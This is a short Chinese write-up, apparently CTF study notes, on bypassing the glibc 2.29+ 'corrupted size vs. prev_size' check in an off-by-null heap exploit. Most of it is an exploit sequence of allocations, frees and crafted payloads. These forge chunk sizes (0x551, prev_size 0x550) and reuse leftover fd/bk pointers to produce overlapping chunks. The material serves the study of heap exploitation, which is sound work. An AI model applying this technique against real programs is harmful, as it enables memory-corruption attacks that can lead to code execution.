新增加的保护2.29之后

if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");

这会检查pre size和要合并的chunk_size是否相同;
在这之前普通的off by null,我们只需要修改pre sizepre inuse就能完成堆块重叠。

方法

申请8个堆块

create(0x410)#0 A
create(0x100)#1 #padding
create(0x430)#2 B
create(0x430)#3 C
create(0x100)#4 padding
create(0x480)#5 H
create(0x420)#6 D
create(0x100)#7 padding

我们要做的就是保证C堆块地址是00结尾;

利用地址残留,保存C的fd和bk指针

free(0)
free(3)
free(6)
free(2)
payload=b'\x00'*0x430+p64(0)+p32(0x551)
create(0x450,payload)#0 B1
create(0x410)#2 #c1
create(0x410)#3 A
create(0x420)#6 D

保留A的bk指针

free(3)
free(2)
create(0x410,b'\x00'*8)#2 A

保留D的fd指针

free(6)
free(5)# x/20gx 0x55555555c5e0
create(0x4f8,b'a'*0x480+p64(0)+p64(0x431))#3 #H # x /20gx 0x55555555c5e0
create(0x3c0-0x8)#5 new_D
create(0x418)#6 new_c
free(4)
create(0x108,b'\x00'*0x100+p64(0x550))#4
free(3)

这个时候的chunk_C已经被我们篡改了size,0x551(原C+填充区域),那么之后在对chunk_H造成off_by_null抹除pre_inuse并在pre_size填上0x550,因为之前我们篡改了chunk_C的大小使其刚好到H为0x550。